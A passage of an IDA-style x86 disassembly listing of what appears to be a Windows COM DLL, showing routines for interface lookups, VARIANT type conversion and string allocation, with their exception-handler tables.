		sub	dword ptr [esp+4], 4
		jmp	loc_69B43356
; ---------------------------------------------------------------------------


loc_69B43B52:				; DATA XREF: .text:off_69B14AF8o
		sub	dword ptr [esp+4], 18h
		jmp	loc_69B43356

; =============== S U B	R O U T	I N E =======================================



sub_69B43B5C	proc near		; DATA XREF: .text:69B14B80o
					; .text:69B14C70o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B43C0A
sub_69B43B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43B66	proc near		; DATA XREF: .text:69B14B6Co
					; .text:69B14C5Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4354C
		retn	4
sub_69B43B66	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B43B76(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B43B76	proc near		; DATA XREF: .text:69B14BF0o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	1		; char
		push	offset dword_69B99048 ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B43B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B43B91	proc near		; DATA XREF: .text:69B14BF4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	offset dword_69B99048
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B43B91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43BC0	proc near		; DATA XREF: .text:69B14AFCo
					; .text:69B14BD8o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B1F56C
sub_69B43BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43BCA	proc near		; DATA XREF: .text:69B14B60o
					; .text:69B14C48o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B406DD
		retn	0Ch
sub_69B43BCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43BE2	proc near		; DATA XREF: .text:69B14B64o
					; .text:69B14C4Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B40658
		retn	8
sub_69B43BE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43BF6	proc near		; DATA XREF: .text:69B14B68o
					; .text:69B14C58o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B407EC
		retn	8
sub_69B43BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43C0A	proc near		; CODE XREF: sub_69B43B5C+5j
					; DATA XREF: .text:69B14B70o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		push	eax
		lea	ecx, [eax+1Ch]
		call	sub_69B408BC
		retn	8
sub_69B43C0A	endp

; ---------------------------------------------------------------------------


loc_69B43C1E:				; DATA XREF: .text:off_69B14C10o
		sub	dword ptr [esp+4], 4
		jmp	loc_69B4344C
; ---------------------------------------------------------------------------


loc_69B43C28:				; DATA XREF: .text:off_69B14BD4o
		sub	dword ptr [esp+4], 18h
		jmp	loc_69B4344C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B43B07


loc_69B43C32:				; CODE XREF: sub_69B43B07+3j
					; DATA XREF: .text:off_69B28078o
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-0Ch]
		neg	ecx
		lea	eax, [esi+10h]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B43340
		call	sub_69B2C65C
		test	[esp+4+arg_0], 1
		jz	short loc_69B43C5B
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B43C5B:				; CODE XREF: sub_69B43B07+149j
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B43B07

; =============== S U B	R O U T	I N E =======================================



sub_69B43C62	proc near		; CODE XREF: sub_69B5947B+Cp
					; DATA XREF: .text:69B1253Co
		push	2Ch
		push	offset dword_69B43D30
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B43C87
		mov	eax, 80004005h
		jmp	loc_69B43D23
; ---------------------------------------------------------------------------


loc_69B43C87:				; CODE XREF: sub_69B43C62+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B43CA2
		mov	ebx, 80070057h
		jmp	short loc_69B43D10
; ---------------------------------------------------------------------------


loc_69B43CA2:				; CODE XREF: sub_69B43C62+37j
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		xor	ecx, ecx
		mov	cl, [esi+0Bh]
		and	ecx, 1Fh
		xor	eax, eax
		inc	eax
		shl	eax, cl
		test	eax, 40191h
		jz	short loc_69B43CE2
		push	38h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-38h], ecx
		test	ecx, ecx
		jz	short loc_69B43CDC
		push	0Fh
		push	esi
		call	sub_69B14B8C
		jmp	short loc_69B43CDE
; ---------------------------------------------------------------------------


loc_69B43CDC:				; CODE XREF: sub_69B43C62+6Ej
		xor	eax, eax


loc_69B43CDE:				; CODE XREF: sub_69B43C62+78j
		mov	[edi], eax
		jmp	short loc_69B43D0C
; ---------------------------------------------------------------------------


loc_69B43CE2:				; CODE XREF: sub_69B43C62+5Ej
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B43D0C
; ---------------------------------------------------------------------------


loc_69B43CEC:				; DATA XREF: .text:69B43D34o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43CF5:				; DATA XREF: .text:69B43D38o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B43D0C:				; CODE XREF: sub_69B43C62+7Ej
					; sub_69B43C62+88j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B43D10:				; CODE XREF: sub_69B43C62+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B43D23:				; CODE XREF: sub_69B43C62+20j
		call	sub_69B1853C
		retn	8
sub_69B43C62	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B43D30	dd 0FFFFFFFFh			dd offset loc_69B43CEC
		dd offset loc_69B43CF5

; =============== S U B	R O U T	I N E =======================================



sub_69B43D3C	proc near		; CODE XREF: sub_69B593A2+Cp
					; DATA XREF: .text:69B12528o
		push	2Ch
		push	offset dword_69B43E10
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B43D5F
		mov	eax, 80004005h
		jmp	loc_69B43E08
; ---------------------------------------------------------------------------


loc_69B43D5F:				; CODE XREF: sub_69B43D3C+17j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	esi, [esi+1Ch]
		mov	ecx, [esi+8]
		mov	eax, ecx
		shr	eax, 18h
		and	eax, 1Fh
		or	dword ptr [ebp-30h], 0FFFFFFFFh
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B43D8C
		mov	esi, 80070057h
		jmp	short loc_69B43DF5
; ---------------------------------------------------------------------------


loc_69B43D8C:				; CODE XREF: sub_69B43D3C+47j
		and	dword ptr [ebp-4], 0
		test	ecx, 0C0000h
		jz	short loc_69B43D9F
		xor	esi, esi
		mov	[ebp-34h], esi
		jmp	short loc_69B43DAB
; ---------------------------------------------------------------------------


loc_69B43D9F:				; CODE XREF: sub_69B43D3C+5Aj
		cmp	eax, 4
		jnz	short loc_69B43DAB
		mov	dword ptr [ebp-30h], 6


loc_69B43DAB:				; CODE XREF: sub_69B43D3C+61j
					; sub_69B43D3C+66j
		push	3Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-38h], ecx
		test	ecx, ecx
		jz	short loc_69B43DC6
		push	dword ptr [ebp-30h]
		push	esi
		call	sub_69B14AA8
		jmp	short loc_69B43DC8
; ---------------------------------------------------------------------------


loc_69B43DC6:				; CODE XREF: sub_69B43D3C+7Dj
		xor	eax, eax


loc_69B43DC8:				; CODE XREF: sub_69B43D3C+88j
		mov	[edi], eax
		xor	esi, esi
		mov	[ebp-3Ch], esi
		jmp	short loc_69B43DF1
; ---------------------------------------------------------------------------


loc_69B43DD1:				; DATA XREF: .text:69B43E14o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43DDA:				; DATA XREF: .text:69B43E18o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B43DF1:				; CODE XREF: sub_69B43D3C+93j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B43DF5:				; CODE XREF: sub_69B43D3C+4Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B43E08:				; CODE XREF: sub_69B43D3C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B43D3C	endp

; ---------------------------------------------------------------------------
dword_69B43E10	dd 0FFFFFFFFh			dd offset loc_69B43DD1
		dd offset loc_69B43DDA

; =============== S U B	R O U T	I N E =======================================



sub_69B43E1C	proc near		; CODE XREF: sub_69B1C12C+3019p
					; sub_69B4414B+36p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+8]
		call	sub_69B1B552
		push	0
		push	[esp+8+arg_4]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B4639C
		mov	eax, esi
		pop	esi
		retn	8
sub_69B43E1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43E46	proc near		; CODE XREF: sub_69B1C04C+83F7p
					; sub_69B1C04C+842Dp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jnz	short loc_69B43E57
		call	sub_69B48B01
		mov	edi, eax


loc_69B43E57:				; CODE XREF: sub_69B43E46+8j
		mov	ecx, edi
		call	sub_69B3FC6D
		mov	esi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		cmp	[esp+8+arg_0], 0
		jnz	short loc_69B43E73
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B43E73:				; CODE XREF: sub_69B43E46+25j
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B43E46	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B1900C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B43E7F	proc near		; CODE XREF: .text:69B44075p
					; sub_69B45404+83p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		cmp	byte ptr [ecx+24h], 0
		push	[ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		jz	short loc_69B43E98
		call	sub_69B4A9E3
		jmp	short loc_69B43E9D
; ---------------------------------------------------------------------------


loc_69B43E98:				; CODE XREF: sub_69B43E7F+10j
		call	sub_69B4A571


loc_69B43E9D:				; CODE XREF: sub_69B43E7F+17j
		pop	ebp
		retn	0Ch
sub_69B43E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B43EA1(VARIANTARG	pvarSrc, __int16, int, int, int, int, int)

sub_69B43EA1	proc near		; CODE XREF: sub_69B460C4+8Ep

pvarg		= VARIANTARG ptr -10h
pvarSrc		= VARIANTARG ptr  8
arg_10		= word ptr  18h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword ptr [ebp+pvarSrc.anonymous_0+8]
		push	esi
		push	edi
		xor	edi, edi
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 400Ch
		jz	short loc_69B43EB9
		lea	eax, [ebp+pvarSrc]


loc_69B43EB9:				; CODE XREF: sub_69B43EA1+13j
		mov	cx, [eax]
		cmp	cx, 8
		jz	short loc_69B43EDC
		cmp	cx, 4008h
		jz	short loc_69B43EDC
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0Ah
		jz	short loc_69B43F31
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0
		jz	short loc_69B43F31
		lea	esi, [ebp+pvarSrc]
		jmp	short loc_69B43EF9
; ---------------------------------------------------------------------------


loc_69B43EDC:				; CODE XREF: sub_69B43EA1+1Fj
					; sub_69B43EA1+26j
		test	ch, 40h
		jz	short loc_69B43EE6
		mov	edi, [eax+8]
		jmp	short loc_69B43EE8
; ---------------------------------------------------------------------------


loc_69B43EE6:				; CODE XREF: sub_69B43EA1+3Ej
		mov	edi, eax


loc_69B43EE8:				; CODE XREF: sub_69B43EA1+43j
		cmp	[ebp+arg_10], 0Ah
		jz	short loc_69B43F25
		cmp	[ebp+arg_10], 0
		jz	short loc_69B43F25
		lea	esi, [ebp+arg_10]


loc_69B43EF9:				; CODE XREF: sub_69B43EA1+39j
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	3		; vt
		push	0		; wFlags
		push	400h		; lcid
		push	esi		; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		push	eax
		call	sub_69B8861E
		mov	eax, [ebp+arg_20]
		mov	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[eax], ecx


loc_69B43F25:				; CODE XREF: sub_69B43EA1+4Cj
					; sub_69B43EA1+53j
		test	edi, edi
		jz	short loc_69B43F31
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_24]
		mov	[ecx], eax


loc_69B43F31:				; CODE XREF: sub_69B43EA1+2Dj
					; sub_69B43EA1+34j ...
		pop	edi
		pop	esi
		leave
		retn	28h
sub_69B43EA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43F37	proc near		; CODE XREF: sub_69B1E03D+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B2AFC0
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B43F37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43F50	proc near		; CODE XREF: .text:69B45AA3j
					; DATA XREF: .text:off_69B1267Co
		push	1Ch
		push	offset dword_69B44048
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B43F73
		mov	eax, 80004005h
		jmp	loc_69B4402D
; ---------------------------------------------------------------------------


loc_69B43F73:				; CODE XREF: sub_69B43F50+17j
		mov	ebx, [ebp+8]
		push	dword ptr [ebx+1Ch]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		mov	eax, [ebp+0Ch]
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B43FE3
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFE0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B43FE3
		push	4
		pop	ecx
		mov	edi, offset dword_69B44038
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B43FE3
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFD0
		mov	esi, eax
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B43FD4
		mov	eax, [ebx]
		push	dword ptr [ebp+10h]
		push	ebx
		call	dword ptr [eax+24h]
		jmp	short loc_69B44012
; ---------------------------------------------------------------------------


loc_69B43FD4:				; CODE XREF: sub_69B43F50+77j
		mov	eax, [ebp+10h]
		and	dword ptr [eax], 0
		mov	dword ptr [ebp-2Ch], 80004002h
		jmp	short loc_69B44015
; ---------------------------------------------------------------------------


loc_69B43FE3:				; CODE XREF: sub_69B43F50+47j
					; sub_69B43F50+57j ...
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	eax, [ebp+10h]
		mov	[eax], ebx
		and	dword ptr [ebp-2Ch], 0
		jmp	short loc_69B44015
; ---------------------------------------------------------------------------


loc_69B43FF4:				; DATA XREF: .text:69B4404Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43FFD:				; DATA XREF: .text:69B44050o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B44012:				; CODE XREF: sub_69B43F50+82j
		mov	[ebp-2Ch], eax


loc_69B44015:				; CODE XREF: sub_69B43F50+91j
					; sub_69B43F50+A2j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B4402D:				; CODE XREF: sub_69B43F50+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B43F50	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B44038	dd 65725580h, 11D09B5Dh, 0C000FE9Bh, 8E9CC94Fh					; .data:off_69B99094o
dword_69B44048	dd 0FFFFFFFFh			dd offset loc_69B43FF4
		dd offset loc_69B43FFD
; ---------------------------------------------------------------------------


loc_69B44054:				; CODE XREF: .text:69B45AABj
		push	14h
		push	offset dword_69B440B8
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	eax, [ecx+20h]
		mov	[ebp-1Ch], eax
		mov	edx, [ecx+1Ch]
		mov	[ebp-20h], edx
		push	eax
		push	dword ptr [ebp+8]
		push	edx
		call	sub_69B43E7F
		mov	[ebp-24h], eax
		jmp	short loc_69B440AB
; ---------------------------------------------------------------------------


loc_69B4407F:				; DATA XREF: .text:69B440BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44088:				; DATA XREF: .text:69B440C0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		cmp	eax, 8000000Ah
		jz	short loc_69B440A9
		call	sub_69B2E860


loc_69B440A9:				; CODE XREF: .text:69B440A2j
		xor	eax, eax


loc_69B440AB:				; CODE XREF: .text:69B4407Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_69B440B8	dd 0FFFFFFFFh			dd offset loc_69B4407F
		dd offset loc_69B44088

; =============== S U B	R O U T	I N E =======================================



sub_69B440C4	proc near		; CODE XREF: sub_69B14C7C+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B2AFA0
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B440C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B440DE	proc near		; CODE XREF: sub_69B14CD0+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset nullsub_2
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B440DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B440F8	proc near		; CODE XREF: sub_69B14D14+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B25CE4
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B440F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B44112	proc near		; CODE XREF: sub_69B44A77+4Dp
					; sub_69B44B74+3Ap ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, ecx
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		test	eax, eax
		jz	short loc_69B44137
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+3Ch]
		jmp	short loc_69B4413C
; ---------------------------------------------------------------------------


loc_69B44137:				; CODE XREF: sub_69B44112+14j
		mov	eax, dword_69B95AB0


loc_69B4413C:				; CODE XREF: sub_69B44112+23j
		push	eax
		mov	ecx, edi
		call	sub_69B18E23
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B44112	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4414B	proc near		; DATA XREF: .text:69B1DFD4o
		push	30h
		push	offset dword_69B44218
		call	sub_69B19C5C
		xor	ebx, ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B44168
		mov	eax, 80070057h
		jmp	loc_69B4420A
; ---------------------------------------------------------------------------


loc_69B44168:				; CODE XREF: sub_69B4414B+11j
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		cmp	edi, ebx
		jz	short loc_69B4419A
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B441A1
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B4419A:				; CODE XREF: sub_69B4414B+2Aj
		mov	eax, 80004005h
		jmp	short loc_69B4420A
; ---------------------------------------------------------------------------


loc_69B441A1:				; CODE XREF: sub_69B4414B+3Ej
		xor	edi, edi
		mov	[ebp-4], ebx
		mov	[ebp-34h], ebx
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jnz	short loc_69B441C9
		mov	ecx, [esi+18h]
		mov	[ebp-38h], ecx
		mov	[ebp-3Ch], ecx
		push	eax
		call	sub_69B3D6D2
		jmp	short loc_69B441F3
; ---------------------------------------------------------------------------


loc_69B441C9:				; CODE XREF: sub_69B4414B+6Bj
		mov	edi, 80070057h
		mov	[ebp-40h], edi
		jmp	short loc_69B441F3
; ---------------------------------------------------------------------------


loc_69B441D3:				; DATA XREF: .text:69B4421Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B441DC:				; DATA XREF: .text:69B44220o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B441F3:				; CODE XREF: sub_69B4414B+7Cj
					; sub_69B4414B+86j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B4420A:				; CODE XREF: sub_69B4414B+18j
					; sub_69B4414B+54j
		call	sub_69B1853C
		retn	8
sub_69B4414B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B44218	dd 0FFFFFFFFh			dd offset loc_69B441D3
		dd offset loc_69B441DC

; =============== S U B	R O U T	I N E =======================================



sub_69B44224	proc near		; DATA XREF: .text:69B1DFA4o
		push	2Ch
		push	offset dword_69B442E0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B44243
		mov	eax, 80070057h
		jmp	loc_69B442D1
; ---------------------------------------------------------------------------


loc_69B44243:				; CODE XREF: sub_69B44224+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B44259
		mov	eax, 80004005h
		jmp	short loc_69B442D1
; ---------------------------------------------------------------------------


loc_69B44259:				; CODE XREF: sub_69B44224+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		mov	eax, [esi+18h]
		mov	[ebp-30h], eax
		mov	eax, [eax+48h]
		mov	[ebp-34h], eax
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jnz	short loc_69B44286
		mov	eax, offset off_69B1A5AC
		mov	[ebp-38h], eax


loc_69B44286:				; CODE XREF: sub_69B44224+58j
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B442BA
; ---------------------------------------------------------------------------


loc_69B4429A:				; DATA XREF: .text:69B442E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B442A3:				; DATA XREF: .text:69B442E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B442BA:				; CODE XREF: sub_69B44224+74j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B442D1:				; CODE XREF: sub_69B44224+1Aj
					; sub_69B44224+33j
		call	sub_69B1853C
		retn	8
sub_69B44224	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B442E0	dd 0FFFFFFFFh			dd offset loc_69B4429A
		dd offset loc_69B442A3

; =============== S U B	R O U T	I N E =======================================



sub_69B442EC	proc near		; DATA XREF: .text:69B1DFA8o
		push	34h
		push	offset dword_69B443B0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B4432B
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B44332
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B4432B:				; CODE XREF: sub_69B442EC+19j
		mov	eax, 80004005h
		jmp	short loc_69B443A8
; ---------------------------------------------------------------------------


loc_69B44332:				; CODE XREF: sub_69B442EC+2Ej
		xor	edi, edi
		and	[ebp-4], edi
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax
		mov	eax, [esi+18h]
		mov	ecx, eax
		mov	[ebp-38h], ecx
		mov	[ebp-3Ch], eax
		mov	al, [eax+8Ch]
		mov	[ebp-40h], al
		mov	eax, [ecx]
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-34h]
		call	dword ptr [eax+50h]
		mov	esi, [esi+18h]
		mov	[ebp-44h], esi
		lea	ecx, [esi+24h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	short loc_69B44391
; ---------------------------------------------------------------------------


loc_69B44371:				; DATA XREF: .text:69B443B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4437A:				; DATA XREF: .text:69B443B8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B44391:				; CODE XREF: sub_69B442EC+83j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B443A8:				; CODE XREF: sub_69B442EC+44j
		call	sub_69B1853C
		retn	8
sub_69B442EC	endp

; ---------------------------------------------------------------------------
dword_69B443B0	dd 0FFFFFFFFh			dd offset loc_69B44371
		dd offset loc_69B4437A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B443BC	proc near		; DATA XREF: .text:69B1DFB0o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
